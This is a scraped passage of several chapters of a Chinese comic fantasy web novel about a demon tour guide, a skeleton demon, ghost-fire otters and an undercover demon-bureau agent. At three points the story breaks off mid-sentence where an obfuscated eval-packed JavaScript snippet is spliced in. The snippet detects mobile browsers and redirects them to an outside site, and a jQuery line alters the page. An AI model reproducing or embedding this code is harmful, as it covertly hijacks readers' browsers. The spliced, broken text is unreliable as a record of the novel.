无聊得彩狸小猫,学着人样,一个爪子撑着腮上一撮白,一个爪子抓得窗沿咯咯响,一脸无语。 走了大约十分钟,两鬼火海獭才胆颤心惊地爬进屋内。 三双眼睛一瞅床上,没人!惊得眼睛立刻大得如篮球一般大小。 他们这才火急火燎地飞过来找黄千玦。 但目的却不同。 彩狸小猫晓得崔黎不是妖怪,若是真被白骨夫人带走了,那喵的小鱼干怎么办?黄千玦不会断了喵的小鱼干吧?又能旅游又能被投喂的好日子要结束了吗? 她耷拉着大眼睛,期期艾艾地盯着黄千玦的表情。 两鬼火海獭则想着,哪有他们昨晚刚跟崔黎说过话,他就收获幸运体验了?他们要是来跟黄千玦哭诉,黄千玦肯定会一脸为难地提出解决方案,这时他们就可以顺水推舟地接受。 他们喜滋滋地盯着黄千玦。 但黄千玦听完整个故事,只气得发出冷笑,食指屈起,哒哒地叩着茶几,急促杂乱,跟她此时的心境一般。 不知道是该先笑俩鬼火海獭害怕得一塌糊涂,还能大着胆子爬窗户;还是笑彩狸小猫爬进屋内了,不想着先看崔黎人在否,一心看俩鬼火海獭笑话。 整件事情的经过都很有槽点,把她唬得一时哽住。 四只妖怪,同处一室,心境截然不同。 只有黄千玦指关节敲击桌面的声音,以及不知是谁越来越急促的心跳噗通噗通声。 蓦地,黄千玦停下动作。 换上一副笑眯眯的面孔,拿出手机,拨打电话。 约莫十秒钟。 电话接通。 “干啥呢?妖还没睡醒呢!”白骨夫人睡得迷糊,声音里带着起床气。 “没睡醒,还能接电话?真奇怪。”面上笑眯眯,语气森森然。 白骨夫人一个激灵,立刻清醒,“怎么了?出事了?跟我应该没关系吧?” 尾音语调微微上扬,带着一丝不可思议的颤音。 “赶紧去检查你昨晚抓回来的。”一个字一个字地从嘴里蹦出来。 白骨夫人察觉黄千玦语气不对劲,也没呛声,心下暗叫不好,立刻从白森森骨头堆里挑上顺眼的,装好自己的骨头架子,爬起来。 心里暗暗腹诽:还是自己太好讲话了,都让小黄毛丫头爬上她的头顶了!真是不像话! 行动上却没一点放松。 电话一直接通。 蹿进某个洞府,白骨夫人眼眶里墨绿鬼火扑闪扑闪,照亮漆黑洞府,省去她打响指开灯的功夫。 “是要开始了吗?”兴奋怂恿的声音从洞府内的某处水塘里传出来。 白骨夫人循声望去,水塘里漆黑一片,一团模糊的白色在水面浮动,爪子搭在胸前,头顶一簇紫色极为显眼,随之,她望进一双精神绿豆黑眼睛里。 原来是那只海獭。 紫发鬼火跳上岸,抖抖身子,甩甩身上的水渍,搓着小爪子,眼巴巴地望着白骨夫人。 头顶那撮性感紫毛湿哒哒的,糊成一片。 白骨夫人的骷髅头来回摇晃,回复紫鬼火,骨头架子坐在崔黎躺的骨头堆上。 嘴里回黄千玦道:“我看了呀,和你说的一样,一脸颓唐失意的中年男人。” “有没有秃顶?” 白骨夫人细细瞅了一眼,“估计快了,也没几年吧。” 黄千玦扶额,“抓错了。” 白骨夫人下意识反驳:“按你说的做了,秃不秃关我什么事?” “对不起,这点是我的疏忽。”她也没料到,仅仅爬个山,齐哲和崔黎简直是变了一个人。 齐哲容光焕发,像是重获新生;崔黎要死不活,像是能随时睡到天崩地裂的命苦模样。 黄千玦有一个极好的美德,该是她的错,她认,她道歉,她改正,绝不会把错误留到第二天,绝不会再犯第二次。 很多时候一味的强词夺理,只会火上浇油,愈燃愈烈。 黄千玦柔下语调,细心叮嘱:“从现在开始,仔细盯着他,要是有一丁点儿清醒的迹象,立刻敲晕他。” 白骨夫人咋舌,“他是犯了啥弥天大罪吗?” “比起猛然睁眼,看见一骷髅架子四处走动,眼眶里闪着鬼火,嘴里说着一堆不明所以然的中二话,而这一切将会成为他终生噩梦的开始……” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢辞蹙着眉头开门,见到的便是这么一副静美画面。他以为又是那群小鬼火和街溜子猫,一时哑然,竟找不到话头。 黄千玦主动解围,笑道:“不请我进去坐坐吗?” 谢辞却忽的关上门,黄千玦愣住。 约莫半分钟,他重新开门,歉然道:“重新收拾了一下屋子,可以进来了。” 他让开一条通道。 黄千玦巧笑嫣然地进去。 她不打算玩美人英雄那一套把戏。美人再美,英雄再爱,要真的遇上死局,要么同赴黄泉,要么英雄战死,美人成了砧板上的柴瘦鱼肉。 她既不想当美人,也不想当英雄,她必须是她生活中的破局者。 尽管她竭力想摆脱宋隐宋女士对她的影响,她不得不承认,利益永远是最肥美诱人的鱼饵,尤其是在商人之间。 作为曾经的黄氏企业的继承人,她人脉极广,接触并掌握到极多或隐或显的资源。 就算她被赶出临城黄家,没了明面上黄氏继承人的身份,但她私下积攒的资源却不会如烟尘般立刻消散。 她一向是一个未雨绸缪的人。 从一开始认识谢辞以及他背后的企业时,她就一直在盘算,她还有什么筹码是能够和对方置换的。 现在就是这个时机。 谈话开始之前,黄千玦便同黄成通话,要他们不必等她,直接开始第二天的行程,由妈妈跟着,她来处理后续的事情。 谢辞取消了当天的旅程,想要打电话通知崔黎,黄千玦适时地告知谢辞,崔黎联系过她,他爬完山后生病去医院挂针了。 谢辞没有多说什么。 赶着上午的尾巴,黄千玦领着彩狸小猫和两鬼火海獭,杀上天元山顶。 妖怪们跃跃欲试。 黄千玦却眯起眼睛,只觉风雨欲来。 17. 暂时先别看,还会修改!! 黑云罩顶,细雨淅淅沥沥,砸得游人胸口发闷。 上午还是阳光明媚的好天气,怎么临近中午又突然下起雨来? 周围不少人嘟嘟囔囔,对天气颇有怨言,但也有积极乐观的,往好处想,雾蒙蒙天地,别有一番滋味。 山顶裹在灰雾里,人、物都看得不甚清晰,像是从四五十年代黑白电影中走出来的一般。 即便在如此场合,黄千玦也极为引人注目。 周身气质冷冽,眉骨极为锋利,在眉眼处压出一道斜向下的深痕,鼻梁挺翘,眼睛大而黑亮,却不见平时的笑意,嘴唇抿得笔直,呼出的白气,都带着一股肃杀冷意。 行走间,带着闪电雷霆的迅猛气势。 一只彩狸小猫踩着湿漉漉大石块紧随其后,毛发被细雨打得有些湿润,腮边两搓白毛随着跳跃一抖一抖,脖子、尾巴翘得高高的,像是在某大型剧院舞台上表演,极为享受众人的注视。 随后,两个鬼火少年嘴巴咧着嘴,像是偷腥的小猫,小跑跟在身后,即便一不小心趔趄,也只借着惯性,嬉笑着往前扑,在欲摔不摔间,吊得游人好胃口。 雨水打湿了黄千玦额前的碎发,她摸了一把脸上的雨水,但她此时也懒得顾及游人如何想他们这一伙看着就奇奇怪怪的人,只想着赶紧赶到白骨夫人洞府,把一堆烂摊子尽早给处理了! 但天不遂人意。 崔黎撑着白色拐杖,从山峰拐角处冒出来。 一见着黄千玦,眼里涌动着泪花,像是受气媳妇见到娘家人来撑腰一般,把拐杖一扔,哭哭啼啼地奔上前来,“我等你们等得好惨!终于等到你们了!” 连说话都透着一股诉苦意味。 “呔!看我如何收拾你!”白骨夫人急声喝道,紧随其后。 游人眼珠子一瞪,齐刷刷抽冷气,从山峰拐角处,钻出一只骷髅架子。 骷髅架子身后,跟着一只举着骨头棒子的海獭,头上染着一簇紫毛,毛发灰不拉叽,跌跌撞撞地跟上骷髅架子的脚步。 游人眉飞嘴歪,暗自心惊:这是哪门子的好戏? 黄千玦猛地一拍脑袋,终于忍不住骂了某种植物。 *** 时间回溯到两个半小时前。 崔黎默念公司员工(摸鱼)守则,一遍两遍三遍……安安分分地闭眼,期待黄千玦赶紧来接他。 三十分钟过去了,细弱的光芒穿过曲折的石缝,射进这昏暗的洞府,洞府里有了些许亮光。 崔黎躺得身体僵硬,想挠挠脖子,但那股一会儿急、一会儿慢的气息,仍在他身边。 他忍! 又一个半小时过去。 崔黎扭了扭脚拇指,活动活动筋骨,这东西怎么一动不动的,盯那么久不累吗? 反正敌不动我不动,敌要动我还是不动,耗死你! 忽地,细碎的脚步声由远及近,在他面前停下。 白骨夫人盘地而坐,指骨托着颧骨,道:“这人类还没睡醒吗?我都睡清醒了。” 紫鬼火尽忠职守,做好一个大妖怪小弟的职责。 他郑重地、面色凝重地,摇摇头。 “比我还能睡。”白骨夫人“咔嚓”一声,无聊地掰断自己的小拇指。 墨绿鬼火无精打采地闪着。 “她什么时候上来?你说我要是不听她的话,她会不会扣我尾款?” 紫鬼火脑子里想着要慎重替白骨夫人考虑,嘴巴上直接忽视第一个问题,文绉绉道:“人生得意须尽欢。” 白骨夫人嘘出一口长气。 一拍掌,“说得好!” “把石头给我。” 崔黎一不小心咬到唇内侧软肉,硬是忍下惨叫。 他是不会给对方任何可乘之机的,不然他还算什么首席特助! 白骨夫人拿石头,隔着衬衫,搔了搔他腰间软肉。 没动静。 她摆摆手,道:“你把鞋子给他脱了,人类不是有个玛莎垃圾嘛?你给他做做。” 崔黎默默道:应该是马杀鸡。 “诶诶诶!你干啥呢?拿你肉垫做什么?拿骨头!别让他舒服到了。” 崔黎眼皮猛地一跳。 黄千玦不是让你们别让他醒吗?这么阴奉阳违的吗?小心去法院告你们违反合同! 崔黎这可忍不下去了,猛地一抬腿,往后一翻,晃悠几下,稳住身形。 他可是练过的。 视线上抬,对上骷髅骨架里的那对墨绿鬼火,和一只看着就又精神又憨厚的紫鬼火。 他大惊失色,双腿一软。 虽说之前听到他们的对话,就知道他们一定不是人,但亲眼目睹的震撼力,仍是惊人的。 只见白骨夫人眼眶里的墨绿鬼火倏忽大作,她像是早有预料,幽幽道:“终于醒了哟!” 果然是故意的! 崔黎忍着惧意,拔腿就跑。 崔黎在白骨夫人的洞府胡乱钻,在连续撞到两具普通骷髅架子后,跑进某个阴暗的洞里。 身后没有动静传来,他稍稍放松,啪的一声,靠在墙上。 霎时间,成百上千束阴冷冷幽蓝鬼火射出。 崔黎捂住眼睛,等适应洞内的灯光后,他才能眯起眼睛细看。 一看吓一跳! 一颗颗骷髅架子密密麻麻,成百上千,嵌在石壁缝隙,伸出枯瘦的骨头手指,像是满怀愤恨死去,每一个骷髅头的眼眶都在注视着他。 四周堆积着累累白骨,高约七八米。 他背后一软,双腿无知觉,往后一坐,压碎了一块骨头,他一摸,手上沾上灰白色粉末。 救命! 他这是误入了妖魔洞窟啊!!! “他在这边!” 崔黎强撑着身体,顾不得多少,捡起一根骨头作拐杖,连滚带爬往前跑,背后远远传来一段对话。 “我靠!吓死妖怪啊!”是那个骷髅架子的声音。 “好美丽!好想能住在这里!”是那个又憨又精神的紫鬼火。 “不过这不是白骨夫人您的洞府嘛?怎么还会吓到?” 他也很好奇。 “拜托。我的房子那么大,有那么多房间,有一两个房间我不记得布局,这很正常!” “哦~哦~” 哐当! “又是谁把骨头乱扔!乱扔真的很没公德!把我都摔散架了。” “您的房子还能是谁……”对上白骨夫人威胁的视线,紫鬼火突兀地转了个话题:“您的骨头还能摔散架吗?” “早上起的急,随手装的骨头还没调好。”她悻悻道。 “原来如此。” 听着对话,崔黎心里原本的积累的惊恐反倒消去不少,甚至想着要是他在现场,他一定要好好地笑话笑话她! 他居然会害怕这一对活宝?!! “没办法,房子大,房间多,有些采购来的骨头质量不好,堆到一起,我都忘记在哪个房间了。” 但是你真的不要说,你的房子有多少大,房间有多少多,他真的会羡慕嫉妒恨的! 崔黎顺着眼前愈来愈亮的光线,向前跑,竟意外地跑出白骨夫人的洞府,重新见到天日。 虽然这个天下着雨,这个日头藏在乌云后边,细雨斜斜地打在他身上。 他一直往前跑,直到遇见黄千玦,像是见到了娘家亲人一般。 *** 雨水依旧下,有愈来愈大之势,但现场却静悄悄的,没一个人愿意离开。 就算突然出现了一个会说话的骷髅架子,眼眶里闪动着雨水浇不灭的鬼火。 甚至雨滴一落到鬼火上,就蒸发出丝丝白烟。 毕竟来都来了,还是看看热闹先。 小灾不用跑,大灾跑不了。 几名游客顺势往前挤了几个身位。 无声的焦灼和炙热的视线都汇聚到黄千玦身上。 崔黎像只树袋熊一般扒着她的手臂,露出煞白的脸庞,丝毫不害怕地瞪着白骨夫人。 “你来呀!”他大胆挑衅。 几个胆大的游客已经掏出手机拍摄视频,闪光灯倏忽闪烁,忽明忽暗。 而作为视线的焦点,黄千玦只想把这三个家伙统统打包扔垃圾桶里。 “你确定要跟我打?我是修炼了多少年的妖怪,而你才活了多少年?”白骨夫人甩了甩手里的骨头,蔑视道。 似乎她现在野性暴露,再也不愿意服从妖怪监管局的管制。 黄千玦的神色没有变化,眼神冷然,雨水顺着绷紧的下颌线滑落,脚尖一挑,骨头棒子凌空飞起,她稳稳接住,细心拂去上面的泥巴。 “现在不得不打了。” 黄千玦抓着骨棒,在雨幕里滑出一道转瞬即逝的银弧。 两鬼火少年忍不住哟哟叫唤,直呼打起来打起来。紫鬼火则在白骨夫人的暗示下,找机会趁机溜走。 雨幕中,白骨夫人擎住手里骨头,直取黄千玦面门。 黄千玦偏头避让,手里旋着骨棒,挽了几个漂亮的棍花,气势迫人,见白骨夫人一时呆住,随之挥出骨棒,带着势不可挡的气势,直捣黄龙。 二妖过招,你来我往。 随着"咔嚓"一声脆响,白骨夫人的肩胛骨应声而断。 黄千玦乘势追击,连击白骨夫人的关节痛处,寸寸断裂,碎成一堆骨头小山。 黄千玦旋身收势,轻松地挽了个棍花,作武斗结束的谢幕。 小雨一滴连着一滴,顺着她的发丝坠落,分明狼狈不堪,她嘴角却挂着恬静笑容,从从容容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“爸爸、妈妈,你们继续吧。我在这边再休息一会儿。” 黄云霄拿出包里的折叠伞撑开,挡住黄千玦头顶细细密密的雨,另一只手拿纸巾细细擦拭她额头、眼角的雨水。 “没问题吗?” “之前的大风大浪都见过了,这些又算的了什么!”她蹲下身子,揉了揉黄云霄脚边的云弦、出阳。 “玩得开心。” 黄成、黄云霄抱着白骨夫人的骨头,领着旅游团离去,两鬼火海獭、彩狸小猫随着团队走,经过山峰拐角时,那紫毛鬼火重新混进队伍里。 黄千玦独自一人,撑着伞,伞面微微倾斜,遮住她半张面容,穿过人群,往索道上方的便利店走去。 崔黎早早就到了,买了一些关东煮、一瓶饮料、两根热狗,坐在里面的小餐桌上大朵快颐。 “给我一个巧克力夹心雪糕,和一根热狗。”黄千玦边说,边扫码付钱。 但山顶信号不好,手机屏幕加载图标转了五六圈,才勉强跳出来。 营业员笑眯眯的,耐心极好地说:“没关系,慢慢来。” 忽地,降低语调,只以两个人能听到的声音,道:“演得真的挺不错的,要不是认识她几年,我都差点以为真的是假的了。” 黄千玦回笑:“谢谢夸奖。” 她又去跟崔黎耳语一阵,才又撑开伞,往便利店外的雨蓬去,她拿纸巾随意抹去椅子上的水渍,安稳坐下。 “我请你吃巧克力夹心雪糕。” 对方像幼儿园小屁孩一样,正甩着绿色软塌塌、果冻质感的棒冰玩着,细密的雨滴落到他发间,眼睛覆上一层朦胧飘渺的水雾,似近似远。 他扬唇微笑道:“你以为光凭一根冰淇淋就能收买我,替你们瞒下妖怪在人类面前暴露真身,真的有点太异想天开了。” 对方正是凌霁。 凌霁已经发现,云弦、出阳爱玩爱闹,但毕竟小孩子天性,喜新厌旧,玩过一阵儿,就不太在意了。他这几天一直歪缠云弦、出阳,好找到时机,偷溜出门。 他毕竟是有正事在身,哪能一直给妖怪当宠物。 黄千玦笑着摇摇头,长而密的睫毛被细雨打湿,结成一绺一绺的,却没再遮住她的眼眸,此时她的眼珠闪烁着不可忽视的亮光。 “我是谢谢你,当时是第一个带头鼓掌的。” “另外关于你说的这一点,你大可以放心,我自己能够处理好。” 凌霁悻悻挠挠鼻尖,迅速接过巧克力夹心雪糕。 黄千玦咬下一口热狗,慢慢嚼咽下去,才继续开口道:“当然,我来找你也不是只为聊这一件事情。” “我们还可以聊聊,你这几天,是在和谁聊天?又在聊什么?” 声音轻柔,似云似雾,却又像凌霁对她的第一感觉,旖旎的陷阱。 啪! 他没控制住手上的力道,半截果冻质感绿棒冰被甩出去,贴着红褐色木板滑行一段距离。 雨声忽然变得很大,重重地砸在雨蓬上,恰似此时凌霁的心跳声。 18. 树要皮,人要脸,妖要底裤 凌霁忽然觉得,雨点敲击雨棚的声音变得又密又重。 “你说什么,雨太大,我没有听清楚。” 黄千玦迷惑地眨眨眼,沾着雨滴的睫毛抖落碎珠,细细的雨帘外,远远传来几声惊呼、抱怨,清晰可闻,她略带几分好笑地看着对方。 “听不清,还是听不懂?没关系,我可以一直重复。” 语调轻缓,声音像羽毛一般轻柔,言辞又像细针一般锋利。 她语调一转,“但雨总会停,迟早都要听清、听懂的。” 黄千玦笑吟吟地望着凌霁。 黄千玦一开始就对凌霁身份存疑,随着越来越多的疑点浮现,她愈发肯定了那小猫崽就是凌霁。 她没有立即揭穿他,便是考虑到他们口中所说的那位大人。 但这几天旅游带团,经历了一连串事情,她突然烦了,被动等待事情找上门,一向不是她的行事风格,主动出击才是。 她想快刀斩乱麻,彻底结束整件事情。她为什么要顺着对方的节奏来? 凌霁面色讪讪,手指无意识地摩挲棒冰的扁平木棍,暗暗思忖着。 他眼皮半盖,透过那半弧形缝隙,只用余光悄悄观察黄千玦。 她似乎对他的小动作毫无所觉,只是又咬了一口热狗,混着几点雨滴,吃进肚子里。 凌霁的喉咙微微发紧。 妖怪在人类面前暴露真身,早有先例,甚至熟能生巧,他所就任的妖怪监管局,即妖管局,已经处理出一套完善的流程。 随着科技的发展,妖管局创建了“科技鉴定科”,专门负责将妖怪事件包装为合理正常的科技事件。 当初白骨夫人入驻天元山景区,吓跑人类的后续,便是由科技鉴定科负责处理。 凌霁待在黄千玦身边两个月,他比谁都清楚她的细致与敏锐,绝对不会漏过这件事。 她在刚刚白骨夫人暴露时的应对方法,就足以印证。 他原本拿旅行社违规事件诈一诈她,能成功最好,不成功......他还是洗洗涮涮,摆好一盘菜吧。 他早就和白宪说完,弯弯绕绕不适合他,黄千玦又没犯什么大罪,他做这种里应外合的奸细事情,本就心虚不已。 白宪就随时做好准备,被他洗洗涮涮,当盘菜摆上桌吧。 凌霁又悄悄抬眸,偷偷觑她一眼。 黄千玦似乎毫无所觉,垂着眼眸,一口一口地吃着。 她咬下最后一口,将木棍折成几折,压在桌上,笑吟吟地抬起头,“想好了吗?需要我再重复吗?” 凌霁迟疑、慎重地再挣扎一下。 “要不......我们还是继续讨论一下,你们旅行社违规的事?” 黄千玦:...... 黄千玦睨了他一眼,“你要真想谈,我也可以和你谈谈。” 指尖轻轻摩挲裤口突起的方形轮廓。 她之前加了凌霁的联系方式,先是翻看了他的朋友圈。 清一色的冰淇淋打卡,每天雷打不动。草莓、巧克力、香草……简直像个甜品店的菜单。 毫无亮点! 利用联系方式和基本信息搜索他的公开信息,但她却没有切入点像蜘蛛网般联系起来。 她原本以为冰淇淋打卡毫无价值,直到黄千玦发现那个共同好友。 当时在凌霁朋友圈下,看见一个陌生点赞名字,她思索了好一会儿,才想起,那陌生名字被她拉进仅聊天权限了。 两年前,对方给她当过保镖,嘴严靠谱,嘴里却总爱叼着棒棒糖。隔年秋天,说是因为考上老家的公务员,她决定忍痛辞去高薪工资,无私回报家乡。 当时对方正式就职后,却一天狂发七八条,吐槽工作又繁又重、吐槽上司又懒又馋、吐槽同事又贱又贼,精神状态堪忧,不到三天,黄千玦就将她权限了。 她解除权限,从一年前开始浏览至今,对方删删减减,目前一共267条。57条吐槽傻逼工作,28条吐槽傻逼上司,17条吐槽傻逼同事,其余事情不纳入考量。 但28条中的其中一条,没有指名道姓,但个人指向性极为明显。 配图:【垒得如山高的文件,文件旁边散着几根棒棒糖】 文案:啊啊啊!!!不想工作!!!我也想光明正大在上司眼皮子底下摸鱼!!!气死他们!!!用得着每次上班摸鱼都吃巧克力味冰淇淋吗?!!恨!恨!恨!!! 看完这条朋友圈,她已经不认识感叹号了,缓了一会儿,才把感叹号赶出眼皮。 不过这句“用得着每次上班摸鱼都吃巧克力味冰淇淋吗”倒点醒了她,她完全可以拿冰淇淋作为切入点。 她对吃食兴趣寥寥,却对香水气味要求颇多。 最喜欢雨后森林的潮湿清新气味,却只固定在沐浴后的深夜喷洒。 既然凌霁喜爱冰淇淋,厌恶抹茶口味,那他对于吃冰淇淋时的情绪和场所,必定是会有所选择的。 黄千玦建立表格,按日期、情绪、工作状态分门别类他近两年的冰淇淋口味。 开心时会奖励自己草莓、椰子等甜口水果冰淇淋。 难过时会鼓励自己薄荷、咖啡等偏刺激性提神口味冰淇淋。 出差时会补偿自己各种稀奇古怪的冰淇淋口味...... 不管怎么样,最后都是吃。 但其中,乌梅冰淇淋,出现频率最低,只有三次。 黄千玦结合公开的官方奖惩报告,倒真让她发现了一些有意思的事情。 乌梅冰淇淋第一次出现,是他第一次被停职检查。 第二次出现,降职。 第三次出现,通报表扬。 一般人或妖怪,会选择甜味作为成功、愉悦的象征,乌梅酸涩,作为挫败、失意的象征。 根据表格总结的规律,凌霁也不例外。 很有猫腻。 她忽地顿住,对凌霁莞尔一笑。 凌霁被那一笑唬得心里直发虚。 黄千玦道:“你喜欢吃乌梅冰淇淋吗?” 凌霁神色一僵。 “我个人不太喜欢。我更喜欢蜜桃口味的,十一二月份,边赏雪边吃,会更有氛围。” 凌霁迅速捕捉到关键词,乌梅冰淇淋,十二月份,雪。 脑子发闷,嘴巴却先于理智,立刻缴械投降。 死道友不死贫道。 “......你想知道什么?” 黄千玦微微挑眉,眼底闪过一丝错愕。 这么迅速就承认的吗? 还是说乌梅冰淇淋杀伤力真的这么大? 那她得再好好琢磨琢磨。 她还以为他会再挣扎一下,来回拉扯,一步步露出彼此的底牌,毕竟他们口中的那位大人,也该值得如此待遇吧? 但在他心里,貌似不太值得。 她眨了眨眼。 “你怎么知道的?”凌霁忽地反问。 山顶的雨一直不大,却细细密密,偶尔一阵风刮过,斜斜吹到脸上。 一滴滴雨珠顺着他高挺的鼻尖下坠,风一斜吹,落到他唇上,嘴唇半张,像是衔着莹白珍珠。 黄千玦定了定神,笑道:“少吃一点冰淇淋吧。” 凌霁:“……那是不可能的。” 黄千玦摊手:“那就不关我事了。” 凌霁气。 *** 云弦在地毯上抖了抖身子,似乎要把电吹风吹过的热气,通通抖走。一簇簇轻柔的棕色毛发蹭到地毯上。 见身子又干净又清爽,她才三两步蹦到黄千玦的床上,搂着黄千玦小腿肚,像小猴子荡秋千一样,蹦上黄千玦膝盖。 她发动她的小脑袋,构想着,自己待会儿要双手撑开,哇哇乱叫地滑滑梯一样滑下去,一个猛子扑进姐姐怀里。 然后姐姐就会笑着摸摸她的脑袋,夸她是个活泼健康的小孩。 为什么不夸她是乖巧小孩?她骄傲地昂起胸膛,因为她是个谦虚的孩子,她要学会谦让。 但云弦的想法注定要落空了。她直接被黄千玦一把薅进怀里,听着姐姐的胸腔震动。 黄千玦自天元山顶慢悠悠荡回来,先虎视眈眈地送崔黎回房,敲定后续处理方案后,回到自己房间,洗个热水澡。 等她洗完澡,吹完头发,换好衣服,凌霁才蔫巴巴地从屋外溜进来,带着雨溅飞泥的腥味,毛发一绺绺结着,地上印着一连串的梅花爪印。 背上背着针织袋,袋里塞着手机。 但还没等他拿出手机,就被黄千玦拎起来,扔进浴室去了。 那装着手机的针织袋随意地摆在茶几上。 黄千玦盘腿坐在床上,时刻关注中午白骨夫人事件的后续。 结果居然意外爆红网络了。 【好可爱的小萌物啊!!!】 这是对彩狸小猫的夸夸。 【我没看错吧,当初那个不可一世的大小姐居然落魄到来当导游?!!】 这是对她的嘲讽,但嘲讽能力有待加强。 【有一说一,他们在cosplay白骨精玩吗?找来的骨头好劣质啊,随时都能散架了,能不能找点好的呀!不过,大家如果想定制cosplay制服,欢迎点击主页查看哟~亲~】 这条评论直接被赞到首条,底下全是at亲友,至于后半条暗广直接被无视。 有一说一,黄千玦确实停下来思考了一秒,但破功,下一秒直接毫无负担地把链接转发给白骨夫人,继续看下一条评论。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687253|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【要我说还是毛茸茸动物最好看,当然我不是说我是毛茸茸哈,我只是只平平无奇不拆家小哈】 麻烦这位哈兄装人夹带私货拉踩也起码披好自己的马甲。 【说劣质的怕不是没见过世面?我太奶闺蜜当年装的就是纯正的白骨精同款,现在广场舞上最亮眼的就是我太奶闺蜜,水灵灵一副骨头架子,令人啄米啄米啊!!!】 一大段纯属在胡编乱造瞎扯淡了。 随便滑了几下,她退了出去,关注tag的整体热度,综合热点五百万人在看,评论大致三分天下,夸夸小动物、嘲她,以及嘲白骨夫人的骨头质量。 总感觉最后一条歪到奇奇怪怪的地方去了。 目前来看,不需要她下水军引导言论。 中途,云弦钻进她怀里撒娇挠脸。 但想了想,黄千玦给白骨夫人x信留言:需要我去压一下评论吗? 【对方正在输入中……】 持续五分钟。 忽然蹦出来一条。 【千金好骨:压什么压!明人不做暗事!公道自在人心!自有明眼人为我辩论!我!才!不!在!乎!】 【H:好的,我知道了(wink.jpg)】 好的,知道你很在乎了,连名字都改了。她又要犯感叹号眼疼综合症了。 她退出与白骨夫人的聊天框,点进另一个聊天框,简洁明了地发了一句:压一下嘲骨头质量的评论。 对方:OK 处理完,黄千玦收着力,把下颌靠在云弦的脑袋上,笑眯眯问道。 “下午玩得开心吗?” 云弦扭捏地甩甩尾巴,蓬松的尾巴扫着黄千玦的大腿,眼珠子黑亮黑亮的,一眨不眨地盯着黄千玦。 “好玩的!每个洞里都有不同的骷髅头子,有一个洞里居然还有七彩骷髅头,眼眶里插着骷髅花,好炫!小彩、小紫、小红还当场表演了一段,多么应景的舞蹈。还送我了一支骷髅花。嘻嘻!” “但是被妈妈收好,说,不让我乱玩,弄坏了,怎么办?但我长大了,可乖了。” “是嘛?”黄千玦笑着捏了捏她的鼻子,尽吹牛。 “出阳呢?” “他没我乖,磨磨蹭蹭不肯洗澡呢!都多大人了,还不爱洗澡。”云弦爪子撑腰,一副少年老成叹气模样。 但很快又闪着灵动的眼珠,好奇地追问:“姐姐刚刚在看什么?一直笑嘻嘻的,我也想看!” 黄千玦忽地眉眼一挑,浴室门开出一道缝,乳白水雾漫出,一双银色耳朵向外探了探,微微一抖,又缩了回去。 黄千玦从床上爬起,趴在云弦面前,道:“云弦,要不要帮姐姐去看看出阳洗好没?我们就能一起去吃晚饭了。” 云弦继续叉腰,昂着黄鼠狼脑袋,道:“我才不要跟小屁孩玩呢。” 之前都玩得好好的,怎么出去一趟,就突然张口小屁孩、小大人了? 黄千玦眼尾一眯,起了坏心眼,轻轻拍了拍云弦的屁股。 云弦当即尾巴蓬松炸起,羞得哇哇大叫:“姐姐不知羞!打我屁股,我要告诉妈妈去。” 吓得她捂住尾巴,窜下床,一溜烟地跑出房间。 分明就还是个小屁孩! 黄千玦笑眯眯地下床去关门,回来就见凌霁全身裹着厚棉巾,在地上打滚,蹭干自己的毛发。 黄千玦不免好笑地立在原地,难道妖怪变回原形,都会沾上小动物的憨萌? 她半蹲,扯过厚棉巾,他一时不察,连带着被跌跌撞撞扯过。 “要我帮忙吗?” 凌霁把头一拧,扯过黄千玦手里半截绵巾,往地上一滚,骨碌碌滚出三四米远,道:“我自己可以。” 黄千玦摇摇头,不再去管凌霁,只要他最后给她联系好人就行。 她铺好床,带上手机,出门去找云弦。 *** 凌霁见黄千玦出去,窜上沙发,边擦着毛发,边联系白宪。 【不搞冰淇淋批发:人呢?(猫猫探头).jpg】 【金牌捞鱼:链接.华夏文化的精神图腾:赓续五千年的传承】 【金牌捞鱼:点击,预约,即可。】 【不搞冰淇淋批发:OK】 凌霁转发链接,复制白宪的回复给黄千玦。 黄千玦秒回。 【H:伪装见面地点?】 【不搞冰淇淋批发:不,只是大学讲座,链接里有时间、地点。临近放假,人少,凑个人头,结束后可以畅所欲言,时间很长。】 【H:?!!】 【不搞冰淇淋批发:?】 【H:你们开心就好。】 凌霁盯着屏幕:她这是什么意思? 19. 稍晚一点儿再加字数,暂时先别看…… 黄千玦放下手机,睫毛纤长,根根分明,翘得异常突出,许久,才平缓情绪,垂下,遮住眼底的情绪。 手机界面仍停留在与凌霁的聊天界面上。 她点击链接,进入页面。 链接.华夏文化的精神图腾:赓续五千年的传承 古朴恢宏的界面。 主讲人:白宪 长风大学历史学院教授。 主办方:长风大学历史学院。 时间:xxxx年6月24日周四下午14:00-16:00。 黄千玦挑眉,原来是同一所大学。 *** 长风大学,羽毛球场馆。 明灿的光华透过菱形玻璃,射进场馆内部,在棕绿色地胶投下亮斑。 俞莘颇为不羁,单手叉腰,肩上扛着细长球杆,球拍时不时轻拍她的背部,额间汗水直淌,腮边晕着两抹运动过后的红色。 场内凉快,但耐不住人多、太阳热。 她眯起眼睛,瞅着外边阳光大盛,白刺刺一片,不由暗自叫苦,到时回局里时,还要顶着这恼人的太阳。 忽地,一伙已经进来场馆里的,面容稚气,一直左顾右盼的学生,推推挤挤,选出一名代表,走到她面前,挤出一抹笑容,“老师,您还要继续打吗?” 